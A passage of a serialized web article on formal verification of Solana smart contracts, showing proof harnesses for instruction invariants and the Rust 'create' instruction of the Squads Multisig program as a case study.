ype":29,"value":3238},{"type":24,"tag":25,"props":3769,"children":3770},{},[3771],{"type":29,"value":3772},"We can construct a proof harness like the following:",{"type":24,"tag":317,"props":3774,"children":3776},{"code":3775,"language":789,"meta":7,"className":790,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[3777],{"type":24,"tag":284,"props":3778,"children":3779},{"__ignoreMap":7},[3780,3788,3805],{"type":24,"tag":327,"props":3781,"children":3782},{"class":329,"line":330},[3783],{"type":24,"tag":327,"props":3784,"children":3785},{"style":346},[3786],{"type":29,"value":3787},"assume(P0)\n",{"type":24,"tag":327,"props":3789,"children":3790},{"class":329,"line":367},[3791,3796,3800],{"type":24,"tag":327,"props":3792,"children":3793},{"style":346},[3794],{"type":29,"value":3795},"res ",{"type":24,"tag":327,"props":3797,"children":3798},{"style":381},[3799],{"type":29,"value":384},{"type":24,"tag":327,"props":3801,"children":3802},{"style":346},[3803],{"type":29,"value":3804}," instruction_handler(...)\n",{"type":24,"tag":327,"props":3806,"children":3807},{"class":329,"line":408},[3808,3812,3816,3821,3826,3831],{"type":24,"tag":327,"props":3809,"children":3810},{"style":425},[3811],{"type":29,"value":1329},{"type":24,"tag":327,"props":3813,"children":3814},{"style":346},[3815],{"type":29,"value":349},{"type":24,"tag":327,"props":3817,"children":3819},{"style":3818},"--shiki-default:#F44747",[3820],{"type":29,"value":1986},{"type":24,"tag":327,"props":3822,"children":3823},{"style":346},[3824],{"type":29,"value":3825},"K ",{"type":24,"tag":327,"props":3827,"children":3828},{"style":3818},[3829],{"type":29,"value":3830},"||",{"type":24,"tag":327,"props":3832,"children":3833},{"style":346},[3834],{"type":29,"value":3835}," P1)\n",{"type":24,"tag":25,"props":3837,"children":3838},{},[3839],{"type":29,"value":3840},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":24,"tag":235,"props":3842,"children":3844},{"id":3843},"positive-instruction-invariant",[3845],{"type":29,"value":3846},"Positive instruction invariant",{"type":24,"tag":25,"props":3848,"children":3849},{},[3850,3852,3858,3860,3911],{"type":29,"value":3851},"Next we need to prove that ",{"type":24,"tag":284,"props":3853,"children":3855},{"className":3854},[],[3856],{"type":29,"value":3857},"success_if",{"type":29,"value":3859}," is a sufficient condition for instruction success. I.e. ",{"type":24,"tag":284,"props":3861,"children":3863},{"className":3862},[2949,2950],[3864],{"type":24,"tag":327,"props":3865,"children":3867},{"className":3866},[2955],[3868],{"type":24,"tag":327,"props":3869,"children":3871},{"className":3870,"ariaHidden":2961},[2960],[3872,3898],{"type":24,"tag":327,"props":3873,"children":3875},{"className":3874},[2966],[3876,3880,3885,3889,3894],{"type":24,"tag":327,"props":3877,"children":3879},{"className":3878,"style":2972},[2971],[],{"type":24,"tag":327,"props":3881,"children":3883},{"className":3882,"style":3454},[2977,2978],[3884],{"type":29,"value":3457},{"type":24,"tag":327,"props":3886,"children":3888},{"className":3887,"style":2993},[2992],[],{"type":24,"tag":327,"props":3890,"children":3892},{"className":3891},[2998],[3893],{"type":29,"value":3745},{"type":24,"tag":327,"props":3895,"children":3897},{"className":3896,"style":2993},[2992],[],{"type":24,"tag":327,"props":3899,"children":3901},{"className":3900},[2966],[3902,3906],{"type":24,"tag":327,"props":3903,"children":3905},{"className":3904,"style":2972},[2971],[],{"type":24,"tag":327,"props":3907,"children":3909},{"className":3908,"style":3528},[2977,2978],[3910],{"type":29,"value":3531},{"type":29,"value":66},{"type":24,"tag":25,"props":3913,"children":3914},{},[3915],{"type":29,"value":3916},"Just like before we can construct a proof harness:",{"type":24,"tag":317,"props":3918,"children":3920},{"code":3919,"language":789,"meta":7,"className":790,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[3921],{"type":24,"tag":284,"props":3922,"children":3923},{"__ignoreMap":7},[3924,3932,3947],{"type":24,"tag":327,"props":3925,"children":3926},{"class":329,"line":330},[3927],{"type":24,"tag":327,"props":3928,"children":3929},{"style":346},[3930],{"type":29,"value":3931},"assume(S)\n",{"type":24,"tag":327,"props":3933,"children":3934},{"class":329,"line":367},[3935,3939,3943],{"type":24,"tag":327,"props":3936,"children":3937},{"style":346},[3938],{"type":29,"value":3795},{"type":24,"tag":327,"props":3940,"children":3941},{"style":381},[3942],{"type":29,"value":384},{"type":24,"tag":327,"props":3944,"children":3945},{"style":346},[3946],{"type":29,"value":3804},{"type":24,"tag":327,"props":3948,"children":3949},{"class":329,"line":408},[3950,3954],{"type":24,"tag":327,"props":3951,"children":3952},{"style":425},[3953],{"type":29,"value":1329},{"type":24,"tag":327,"props":3955,"children":3956},{"style":346},[3957],{"type":29,"value":3958},"(K)\n",{"type":24,"tag":25,"props":3960,"children":3961},{},[3962,3964,3969,3971,3983],{"type":29,"value":3963},"This proof assures that whenever ",{"type":24,"tag":284,"props":3965,"children":3967},{"className":3966},[],[3968],{"type":29,"value":1501},{"type":29,"value":3970}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":24,"tag":42,"props":3972,"children":3973},{},[3974,3976,3981],{"type":29,"value":3975},"even if ",{"type":24,"tag":284,"props":3977,"children":3979},{"className":3978},[],[3980],{"type":29,"value":1501},{"type":29,"value":3982}," is not satisfied",{"type":29,"value":3984},". To specify explicit error conditions we need our third and final proof.",{"type":24,"tag":235,"props":3986,"children":3988},{"id":3987},"_3-negative-instruction-invariant",[3989],{"type":29,"value":3990},"3. Negative instruction invariant",{"type":24,"tag":25,"props":3992,"children":3993},{},[3994,3996,4001,4003,4059],{"type":29,"value":3995},"Finally, we want to prove that ",{"type":24,"tag":284,"props":3997,"children":3999},{"className":3998},[],[4000],{"type":29,"value":1509},{"type":29,"value":4002}," is a sufficient condition for instruction failure. I.e. ",{"type":24,"tag":284,"props":4004,"children":4006},{"className":4005},[2949,2950],[4007],{"type":24,"tag":327,"props":4008,"children":4010},{"className":4009},[2955],[4011],{"type":24,"tag":327,"props":4012,"children":4014},{"className":4013,"ariaHidden":2961},[2960],[4015,4041],{"type":24,"tag":327,"props":4016,"children":4018},{"className":4017},[2966],[4019,4023,4028,4032,4037],{"type":24,"tag":327,"props":4020,"children":4022},{"className":4021,"style":2972},[2971],[],{"type":24,"tag":327,"props":4024,"children":4026},{"className":4025,"style":3454},[2977,2978],[4027],{"type":29,"value":3493},{"type":24,"tag":327,"props":4029,"children":4031},{"className":4030,"style":2993},[2992],[],{"type":24,"tag":327,"props":4033,"children":4035},{"className":4034},[2998],[4036],{"type":29,"value":3745},{"type":24,"tag":327,"props":4038,"children":4040},{"className":4039,"style":2993},[2992],[],{"type":24,"tag":327,"props":4042,"children":4044},{"className":4043},[2966],[4045,4049,4054],{"type":24,"tag":327,"props":4046,"children":4048},{"className":4047,"style":2972},[2971],[],{"type":24,"tag":327,"props":4050,"children":4052},{"className":4051},[2977],[4053],{"type":29,"value":3589},{"type":24,"tag":327,"props":4055,"children":4057},{"className":4056,"style":3528},[2977,2978],[4058],{"type":29,"value":3531},{"type":29,"value":66},{"type":24,"tag":25,"props":4061,"children":4062},{},[4063],{"type":29,"value":4064},"This harness looks just like the previous one:",{"type":24,"tag":317,"props":4066,"children":4068},{"code":4067,"language":789,"meta":7,"className":790,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[4069],{"type":24,"tag":284,"props":4070,"children":4071},{"__ignoreMap":7},[4072,4080,4095],{"type":24,"tag":327,"props":4073,"children":4074},{"class":329,"line":330},[4075],{"type":24,"tag":327,"props":4076,"children":4077},{"style":346},[4078],{"type":29,"value":4079},"assume(E)\n",{"type":24,"tag":327,"props":4081,"children":4082},{"class":329,"line":367},[4083,4087,4091],{"type":24,"tag":327,"props":4084,"children":4085},{"style":346},[4086],{"type":29,"value":3795},{"type":24,"tag":327,"props":4088,"children":4089},{"style":381},[4090],{"type":29,"value":384},{"type":24,"tag":327,"props":4092,"children":4093},{"style":346},[4094],{"type":29,"value":3804},{"type":24,"tag":327,"props":4096,"children":4097},{"class":329,"line":408},[4098,4102,4106,4110],{"type":24,"tag":327,"props":4099,"children":4100},{"style":425},[4101],{"type":29,"value":1329},{"type":24,"tag":327,"props":4103,"children":4104},{"style":346},[4105],{"type":29,"value":349},{"type":24,"tag":327,"props":4107,"children":4108},{"style":3818},[4109],{"type":29,"value":1986},{"type":24,"tag":327,"props":4111,"children":4112},{"style":346},[4113],{"type":29,"value":4114},"K)\n",{"type":24,"tag":25,"props":4116,"children":4117},{},[4118,4120,4124],{"type":29,"value":4119},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":24,"tag":42,"props":4121,"children":4122},{},[4123],{"type":29,"value":46},{"type":29,"value":4125}," the account invariants we expect are always being preserved.",{"type":24,"tag":228,"props":4127,"children":4129},{"id":4128},"case-study-squads-multisig",[4130],{"type":29,"value":4131},"Case study: Squads Multisig",{"type":24,"tag":25,"props":4133,"children":4134},{},[4135,4137,4142],{"type":29,"value":4136},"During our research, we focused on formally verifying aspects of the ",{"type":24,"tag":57,"props":4138,"children":4140},{"href":99,"rel":4139},[61],[4141],{"type":29,"value":103},{"type":29,"value":66},{"type":24,"tag":25,"props":4144,"children":4145},{},[4146,4148,4154,4156,4162],{"type":29,"value":4147},"The program defines a Multisig account (",{"type":24,"tag":284,"props":4149,"children":4151},{"className":4150},[],[4152],{"type":29,"value":4153},"Ms",{"type":29,"value":4155},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":24,"tag":284,"props":4157,"children":4159},{"className":4158},[],[4160],{"type":29,"value":4161},"threshold",{"type":29,"value":4163}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":24,"tag":25,"props":4165,"children":4166},{},[4167],{"type":29,"value":4168},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":24,"tag":25,"props":4170,"children":4171},{},[4172],{"type":29,"value":4173},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":24,"tag":175,"props":4175,"children":4176},{},[4177,4182,4187,4192],{"type":24,"tag":179,"props":4178,"children":4179},{},[4180],{"type":29,"value":4181},"Incrementally verifying minimum requirements to create a multisig",{"type":24,"tag":179,"props":4183,"children":4184},{},[4185],{"type":29,"value":4186},"Verify threshold requirements",{"type":24,"tag":179,"props":4188,"children":4189},{},[4190],{"type":29,"value":4191},"Verify requirements to remove a member",{"type":24,"tag":179,"props":4193,"children":4194},{},[4195],{"type":29,"value":4196},"Safety guarantees",{"type":24,"tag":235,"props":4198,"children":4200},{"id":4199},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[4201],{"type":29,"value":4202},"1. Incrementally verifying minimum requirements to create a multisig",{"type":24,"tag":25,"props":4204,"children":4205},{},[4206,4208,4213],{"type":29,"value":4207},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":24,"tag":284,"props":4209,"children":4211},{"className":4210},[],[4212],{"type":29,"value":1501},{"type":29,"value":4214}," expression.",{"type":24,"tag":25,"props":4216,"children":4217},{},[4218,4220,4225,4227,4233],{"type":29,"value":4219},"Creating a multisig (",{"type":24,"tag":284,"props":4221,"children":4223},{"className":4222},[],[4224],{"type":29,"value":4153},{"type":29,"value":4226},") requires invoking the ",{"type":24,"tag":284,"props":4228,"children":4230},{"className":4229},[],[4231],{"type":29,"value":4232},"create",{"type":29,"value":4234}," instruction:",{"type":24,"tag":317,"props":4236,"children":4238},{"code":4237,"language":1552,"meta":7,"className":1553,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n    #[account(\n        init,\n        payer = creator,\n        space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n        seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n    )]\n    pub multisig: Account\u003C'info, Ms>,\n\n    #[account(mut)]\n    pub creator: Signer\u003C'info>,\n    pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n    ctx: Context\u003CCreate>,\n    threshold: u16,\n    create_key: Pubkey,\n    members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n    // sort the members and remove duplicates\n    let mut members = members;\n    members.sort();\n    members.dedup();\n\n    // check we don't exceed u16\n    let total_members = members.len();\n    if total_members \u003C 1 {\n        return err!(MsError::EmptyMembers);\n    }\n\n    // make sure we don't exceed u16 on first call\n    if total_members > usize::from(u16::MAX) {\n        return err!(MsError::MaxMembersReached);\n    }\n\n    // make sure threshold is valid\n    if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n        return err!(MsError::InvalidThreshold);\n    }\n\n    ctx.accounts.multisig.init(\n        threshold,\n        create_key,\n        members,\n        *ctx.bumps.get(\"multisig\").unwrap(),\n    )\n}\n",[4239],{"type":24,"tag":284,"props":4240,"children":4241},{"__ignoreMap":7},[4242,4259,4314,4345,4353,4361,4378,4430,4480,4488,4530,4537,4553,4586,4628,4635,4642,4664,4692,4712,4732,4760,4779,4787,4818,4839,4860,4868,4877,4911,4936,4972,4980,4988,4997,5040,5073,5081,5089,5098,5174,5207,5215,5223,5261,5274,5287,5300,5358,5367],{"type":24,"tag":327,"props":4243,"children":4244},{"class":329,"line":330},[4245,4250,4255],{"type":24,"tag":327,"props":4246,"children":4247},{"style":346},[4248],{"type":29,"value":4249},"#[derive(",{"type":24,"tag":327,"props":4251,"children":4252},{"style":1639},[4253],{"type":29,"value":4254},"Accounts",{"type":24,"tag":327,"props":4256,"children":4257},{"style":346},[4258],{"type":29,"value":1609},{"type":24,"tag":327,"props":4260,"children":4261},{"class":329,"line":367},[4262,4267,4271,4275,4280,4284,4288,4293,4297,4301,4305,4309],{"type":24,"tag":327,"props":4263,"children":4264},{"style":346},[4265],{"type":29,"value":4266},"#[instruction(threshold",{"type":24,"tag":327,"props":4268,"children":4269},{"style":381},[4270],{"type":29,"value":1636},{"type":24,"tag":327,"props":4272,"children":4273},{"style":1639},[4274],{"type":29,"value":2402},{"type":24,"tag":327,"props":4276,"children":4277},{"style":346},[4278],{"type":29,"value":4279},", create_key",{"type":24,"tag":327,"props":4281,"children":4282},{"style":381},[4283],{"type":29,"value":1636},{"type":24,"tag":327,"props":4285,"children":4286},{"style":1639},[4287],{"type":29,"value":2226},{"type":24,"tag":327,"props":4289,"children":4290},{"style":346},[4291],{"type":29,"value":4292},", members",{"type":24,"tag":327,"props":4294,"children":4295},{"style":381},[4296],{"type":29,"value":1636},{"type":24,"tag":327,"props":4298,"children":4299},{"style":1639},[4300],{"type":29,"value":2770},{"type":24,"tag":327,"props":4302,"children":4303},{"style":346},[4304],{"type":29,"value":1596},{"type":24,"tag":327,"props":4306,"children":4307},{"style":1639},[4308],{"type":29,"value":2779},{"type":24,"tag":327,"props":4310,"children":4311},{"style":346},[4312],{"type":29,"value":4313},">)]\n",{"type":24,"tag":327,"props":4315,"children":4316},{"class":329,"line":408},[4317,4321,4325,4330,4335,4340],{"type":24,"tag":327,"props":4318,"children":4319},{"style":334},[4320],{"type":29,"value":2524},{"type":24,"tag":327,"props":4322,"children":4323},{"style":334},[4324],{"type":29,"value":2529},{"type":24,"tag":327,"props":4326,"children":4327},{"style":1639},[4328],{"type":29,"value":4329}," Create",{"type":24,"tag":327,"props":4331,"children":4332},{"style":346},[4333],{"type":29,"value":4334},"\u003C'",{"type":24,"tag":327,"props":4336,"children":4337},{"style":1639},[4338],{"type":29,"value":4339},"info",{"type":24,"tag":327,"props":4341,"children":4342},{"style":346},[4343],{"type":29,"value":4344},"> {\n",{"type":24,"tag":327,"props":4346,"children":4347},{"class":329,"line":421},[4348],{"type":24,"tag":327,"props":4349,"children":4350},{"style":346},[4351],{"type":29,"value":4352},"    #[account(\n",{"type":24,"tag":327,"props":4354,"children":4355},{"class":329,"line":450},[4356],{"type":24,"tag":327,"props":4357,"children":4358},{"style":346},[4359],{"type":29,"value":4360},"        init,\n",{"type":24,"tag":327,"props":4362,"children":4363},{"class":329,"line":481},[4364,4369,4373],{"type":24,"tag":327,"props":4365,"children":4366},{"style":346},[4367],{"type":29,"value":4368},"        payer ",{"type":24,"tag":327,"props":4370,"children":4371},{"style":381},[4372],{"type":29,"value":384},{"type":24,"tag":327,"props":4374,"children":4375},{"style":346},[4376],{"type":29,"value":4377}," creator,\n",{"type":24,"tag":327,"props":4379,"children":4380},{"class":329,"line":500},[4381,4386,4390,4394,4398,4403,4408,4413,4417,4421,4425],{"type":24,"tag":327,"props":4382,"children":4383},{"style":346},[4384],{"type":29,"value":4385},"        space ",{"type":24,"tag":327,"props":4387,"children":4388},{"style":381},[4389],{"type":29,"value":384},{"type":24,"tag":327,"props":4391,"children":4392},{"style":1639},[4393],{"type":29,"value":2534},{"type":24,"tag":327,"props":4395,"children":4396},{"style":381},[4397],{"type":29,"value":2407},{"type":24,"tag":327,"props":4399,"children":4400},{"style":1639},[4401],{"type":29,"value":4402},"SIZE_WITHOUT_MEMBERS",{"type":24,"tag":327,"props":4404,"children":4405},{"style":381},[4406],{"type":29,"value":4407}," +",{"type":24,"tag":327,"props":4409,"children":4410},{"style":346},[4411],{"type":29,"value":4412}," (members",{"type":24,"tag":327,"props":4414,"children":4415},{"style":381},[4416],{"type":29,"value":66},{"type":24,"tag":327,"props":4418,"children":4419},{"style":346},[4420],{"type":29,"value":2393},{"type":24,"tag":327,"props":4422,"children":4423},{"style":381},[4424],{"type":29,"value":469},{"type":24,"tag":327,"props":4426,"children":4427},{"style":346},[4428],{"type":29,"value":4429}," 32),\n",{"type":24,"tag":327,"props":4431,"children":4432},{"class":329,"line":529},[4433,4438,4442,4447,4452,4456,4460,4465,4470,4475],{"type":24,"tag":327,"props":4434,"children":4435},{"style":346},[4436],{"type":29,"value":4437},"        seeds ",{"type":24,"tag":327,"props":4439,"children":4440},{"style":381},[4441],{"type":29,"value":384},{"type":24,"tag":327,"props":4443,"children":4444},{"style":346},[4445],{"type":29,"value":4446}," [",{"type":24,"tag":327,"props":4448,"children":4449},{"style":844},[4450],{"type":29,"value":4451},"b\"squad\"",{"type":24,"tag":327,"props":4453,"children":4454},{"style":346},[4455],{"type":29,"value":4279},{"type":24,"tag":327,"props":4457,"children":4458},{"style":381},[4459],{"type":29,"value":66},{"type":24,"tag":327,"props":4461,"children":4462},{"style":346},[4463],{"type":29,"value":4464},"as_ref(), ",{"type":24,"tag":327,"props":4466,"children":4467},{"style":844},[4468],{"type":29,"value":4469},"b\"multisig\"",{"type":24,"tag":327,"props":4471,"children":4472},{"style":346},[4473],{"type":29,"value":4474},"], ",{"type":24,"tag":327,"props":4476,"children":4477},{"style":356},[4478],{"type":29,"value":4479},"bump\n",{"type":24,"tag":327,"props":4481,"children":4482},{"class":329,"line":538},[4483],{"type":24,"tag":327,"props":4484,"children":4485},{"style":346},[4486],{"type":29,"value":4487},"    )]\n",{"type":24,"tag":327,"props":4489,"children":4490},{"class":329,"line":547},[4491,4495,4500,4504,4509,4513,4517,4521,4525],{"type":24,"tag":327,"props":4492,"children":4493},{"style":334},[4494],{"type":29,"value":2212},{"type":24,"tag":327,"props":4496,"children":4497},{"style":356},[4498],{"type":29,"value":4499}," multisig",{"type":24,"tag":327,"props":4501,"children":4502},{"style":381},[4503],{"type":29,"value":1636},{"type":24,"tag":327,"props":4505,"children":4506},{"style":1639},[4507],{"type":29,"value":4508}," Account",{"type":24,"tag":327,"props":4510,"children":4511},{"style":346},[4512],{"type":29,"value":4334},{"type":24,"tag":327,"props":4514,"children":4515},{"style":1639},[4516],{"type":29,"value":4339},{"type":24,"tag":327,"props":4518,"children":4519},{"style":346},[4520],{"type":29,"value":2744},{"type":24,"tag":327,"props":4522,"children":4523},{"style":1639},[4524],{"type":29,"value":4153},{"type":24,"tag":327,"props":4526,"children":4527},{"style":346},[4528],{"type":29,"value":4529},">,\n",{"type":24,"tag":327,"props":4531,"children":4532},{"class":329,"line":557},[4533],{"type":24,"tag":327,"props":4534,"children":4535},{"emptyLinePlaceholder":16},[4536],{"type":29,"value":544},{"type":24,"tag":327,"props":4538,"children":4539},{"class":329,"line":586},[4540,4545,4549],{"type":24,"tag":327,"props":4541,"children":4542},{"style":346},[4543],{"type":29,"value":4544},"    #[account(",{"type":24,"tag":327,"props":4546,"children":4547},{"style":334},[4548],{"type":29,"value":2099},{"type":24,"tag":327,"props":4550,"children":4551},{"style":346},[4552],{"type":29,"value":1609},{"type":24,"tag":327,"props":4554,"children":4555},{"class":329,"line":1017},[4556,4560,4565,4569,4574,4578,4582],{"type":24,"tag":327,"props":4557,"children":4558},{"style":334},[4559],{"type":29,"value":2212},{"type":24,"tag":327,"props":4561,"children":4562},{"style":356},[4563],{"type":29,"value":4564}," creator",{"type":24,"tag":327,"props":4566,"children":4567},{"style":381},[4568],{"type":29,"value":1636},{"type":24,"tag":327,"props":4570,"children":4571},{"style":1639},[4572],{"type":29,"value":4573}," Signer",{"type":24,"tag":327,"props":4575,"children":4576},{"style":346},[4577],{"type":29,"value":4334},{"type":24,"tag":327,"props":4579,"children":4580},{"style":1639},[4581],{"type":29,"value":4339},{"type":24,"tag":327,"props":4583,"children":4584},{"style":346},[4585],{"type":29,"value":4529},{"type":24,"tag":327,"props":4587,"children":4588},{"class":329,"line":1026},[4589,4593,4598,4602,4607,4611,4615,4619,4624],{"type":24,"tag":327,"props":4590,"children":4591},{"style":334},[4592],{"type":29,"value":2212},{"type":24,"tag":327,"props":4594,"children":4595},{"style":356},[4596],{"type":29,"value":4597}," system_program",{"type":24,"tag":327,"props":4599,"children":4600},{"style":381},[4601],{"type":29,"value":1636},{"type":24,"tag":327,"props":4603,"children":4604},{"style":1639},[4605],{"type":29,"value":4606}," Program",{"type":24,"tag":327,"props":4608,"children":4609},{"style":346},[4610],{"type":29,"value":4334},{"type":24,"tag":327,"props":4612,"children":4613},{"style":1639},[4614],{"type":29,"value":4339},{"type":24,"tag":327,"props":4616,"children":4617},{"style":346},[4618],{"type":29,"value":2744},{"type":24,"tag":327,"props":4620,"children":4621},{"style":1639},[4622],{"type":29,"value":4623},"System",{"type":24,"tag":327,"props":4625,"children":4626},{"style":346},[4627],{"type":29,"value":4529},{"type":24,"tag":327,"props":4629,"children":4630},{"class":329,"line":1048},[4631],{"type":24,"tag":327,"props":4632,"children":4633},{"style":346},[4634],{"type":29,"value":592},{"type":24,"tag":327,"props":4636,"children":4637},{"class":329,"line":1067},[4638],{"type":24,"tag":327,"props":4639,"children":4640},{"emptyLinePlaceholder":16},[4641],{"type":29,"value":544},{"type":24,"tag":327,"props":4643,"children":4644},{"class":329,"line":1075},[4645,4649,4654,4659],{"type":24,"tag":327,"props":4646,"children":4647},{"style":334},[4648],{"type":29,"value":2524},{"type":24,"tag":327,"props":4650,"children":4651},{"style":334},[4652],{"type":29,"value":4653}," fn",{"type":24,"tag":327,"props":4655,"children":4656},{"style":340},[4657],{"type":29,"value":4658}," create",{"type":24,"tag":327,"props":4660,"children":4661},{"style":346},[4662],{"type":29,"value":4663},"(\n",{"type":24,"tag":327,"props":4665,"children":4666},{"class":329,"line":1084},[4667,4671,4675,4679,4683,4688],{"type":24,"tag":327,"props":4668,"children":4669},{"style":356},[4670],{"type":29,"value":1573},{"type":24,"tag":327,"props":4672,"children":4673},{"style":381},[4674],{"type":29,"value":1636},{"type":24,"tag":327,"props":4676,"children":4677},{"style":1639},[4678],{"type":29,"value":1642},{"type":24,"tag":327,"props":4680,"children":4681},{"style":346},[4682],{"type":29,"value":1596},{"type":24,"tag":327,"props":4684,"children":4685},{"style":1639},[4686],{"type":29,"value":4687},"Create",{"type":24,"tag":327,"props":4689,"children":4690},{"style":346},[4691],{"type":29,"value":4529},{"type":24,"tag":327,"props":4693,"children":4694},{"class":329,"line":1100},[4695,4700,4704,4708],{"type":24,"tag":327,"props":4696,"children":4697},{"style":356},[4698],{"type":29,"value":4699},"    threshold",{"type":24,"tag":327,"props":4701,"children":4702},{"style":381},[4703],{"type":29,"value":1636},{"type":24,"tag":327,"props":4705,"children":4706},{"style":1639},[4707],{"type":29,"value":2402},{"type":24,"tag":327,"props":4709,"children":4710},{"style":346},[4711],{"type":29,"value":2231},{"type":24,"tag":327,"props":4713,"children":4714},{"class":329,"line":1128},[4715,4720,4724,4728],{"type":24,"tag":327,"props":4716,"children":4717},{"style":356},[4718],{"type":29,"value":4719},"    create_key",{"type":24,"tag":327,"props":4721,"children":4722},{"style":381},[4723],{"type":29,"value":1636},{"type":24,"tag":327,"props":4725,"children":4726},{"style":1639},[4727],{"type":29,"value":2226},{"type":24,"tag":327,"props":4729,"children":4730},{"style":346},[4731],{"type":29,"value":2231},{"type":24,"tag":327,"props":4733,"children":4734},{"class":329,"line":1148},[4735,4740,4744,4748,4752,4756],{"type":24,"tag":327,"props":4736,"children":4737},{"style":356},[4738],{"type":29,"value":4739},"    members",{"type":24,"tag":327,"props":4741,"children":4742},{"style":381},[4743],{"type":29,"value":1636},{"type":24,"tag":327,"props":4745,"children":4746},{"style":1639},[4747],{"type":29,"value":2770},{"type":24,"tag":327,"props":4749,"children":4750},{"style":346},[4751],{"type":29,"value":1596},{"type":24,"tag":327,"props":4753,"children":4754},{"style":1639},[4755],{"type":29,"value":2779},{"type":24,"tag":327,"props":4757,"children":4758},{"style":346},[4759],{"type":29,"value":4529},{"type":24,"tag":327,"props":4761,"children":4762},{"class":329,"line":1176},[4763,4767,4771,4775],{"type":24,"tag":327,"props":4764,"children":4765},{"style":346},[4766],{"type":29,"value":1674},{"type":24,"tag":327,"props":4768,"children":4769},{"style":381},[4770],{"type":29,"value":1679},{"type":24,"tag":327,"props":4772,"children":4773},{"style":1639},[4774],{"type":29,"value":1684},{"type":24,"tag":327,"props":4776,"children":4777},{"style":346},[4778],{"type":29,"value":1689},{"type":24,"tag":327,"props":4780,"children":4781},{"class":329,"line":1184},[4782],{"type":24,"tag":327,"props":4783,"children":4784},{"style":551},[4785],{"type":29,"value":4786},"    // sort the members and remove duplicates\n",{"type":24,"tag":327,"props":4788,"children":4789},{"class":329,"line":1192},[4790,4795,4800,4805,4810,4814],{"type":24,"tag":327,"props":4791,"children":4792},{"style":334},[4793],{"type":29,"value":4794},"    let",{"type":24,"tag":327,"props":4796,"children":4797},{"style":334},[4798],{"type":29,"value":4799}," mut",{"type":24,"tag":327,"props":4801,"children":4802},{"style":356},[4803],{"type":29,"value":4804}," members",{"type":24,"tag":327,"props":4806,"children":4807},{"style":381},[4808],{"type":29,"value":4809}," =",{"type":24,"tag":327,"props":4811,"children":4812},{"style":356},[4813],{"type":29,"value":4804},{"type":24,"tag":327,"props":4815,"children":4816},{"style":346},[4817],{"type":29,"value":405},{"type":24,"tag":327,"props":4819,"children":4820},{"class":329,"line":1212},[4821,4825,4829,4834],{"type":24,"tag":327,"props":4822,"children":4823},{"style":356},[4824],{"type":29,"value":4739},{"type":24,"tag":327,"props":4826,"children":4827},{"style":381},[4828],{"type":29,"value":66},{"type":24,"tag":327,"props":4830,"children":4831},{"style":340},[4832],{"type":29,"value":4833},"sort",{"type":24,"tag":327,"props":4835,"children":4836},{"style":346},[4837],{"type":29,"value":4838},"();\n",{"type":24,"tag":327,"props":4840,"children":4842},{"class":329,"line":4841},26,[4843,4847,4851,4856],{"type":24,"tag":327,"props":4844,"children":4845},{"style":356},[4846],{"type":29,"value":4739},{"type":24,"tag":327,"props":4848,"children":4849},{"style":381},[4850],{"type":29,"value":66},{"type":24,"tag":327,"props":4852,"children":4853},{"style":340},[4854],{"type":29,"value":4855},"dedup",{"type":24,"tag":327,"props":4857,"children":4858},{"style":346},[4859],{"type":29,"value":4838},{"type":24,"tag":327,"props":4861,"children":4863},{"class":329,"line":4862},27,[4864],{"type":24,"tag":327,"props":4865,"children":4866},{"emptyLinePlaceholder":16},[4867],{"type":29,"value":544},{"type":24,"tag":327,"props":4869,"children":4871},{"class":329,"line":4870},28,[4872],{"type":24,"tag":327,"props":4873,"children":4874},{"style":551},[4875],{"type":29,"value":4876},"    // check we don't exceed u16\n",{"type":24,"tag":327,"props":4878,"children":4880},{"class":329,"line":4879},29,[4881,4885,4890,4894,4898,4902,4907],{"type":24,"tag":327,"props":4882,"children":4883},{"style":334},[4884],{"type":29,"value":4794},{"type":24,"tag":327,"props":4886,"children":4887},{"style":356},[4888],{"type":29,"value":4889}," total_members",{"type":24,"tag":327,"props":4891,"children":4892},{"style":381},[4893],{"type":29,"value":4809},{"type":24,"tag":327,"props":4895,"children":4896},{"style":356},[4897],{"type":29,"value":4804},{"type":24,"tag":327,"props":4899,"children":4900},{"style":381},[4901],{"type":29,"value":66},{"type":24,"tag":327,"props":4903,"children":4904},{"style":340},[4905],{"type":29,"value":4906},"len",{"type":24,"tag":327,"props":4908,"children":4909},{"style":346},[4910],{"type":29,"value":4838},{"type":24,"tag":327,"props":4912,"children":4914},{"class":329,"line":4913},30,[4915,4919,4923,4928,4932],{"type":24,"tag":327,"props":4916,"children":4917},{"style":425},[4918],{"type":29,"value":428},{"type":24,"tag":327,"props":4920,"children":4921},{"style":356},[4922],{"type":29,"value":4889},{"type":24,"tag":327,"props":4924,"children":4925},{"style":381},[4926],{"type":29,"value":4927}," \u003C",{"type":24,"tag":327,"props":4929,"children":4930},{"style":397},[4931],{"type":29,"value":522},{"type":24,"tag":327,"props":4933,"children":4934},{"style":346},[4935],{"type":29,"value":497},{"type":24,"tag":327,"props":4937,"children":4939},{"class":329,"line":4938},31,[4940,4945,4950,4954,4959,4963,4968],{"type":24,"tag":327,"props":4941,"children":4942},{"style":425},[4943],{"type":29,"value":4944},"        return",{"type":24,"tag":327,"props":4946,"children":4947},{"style":340},[4948],{"type":29,"value":4949}," 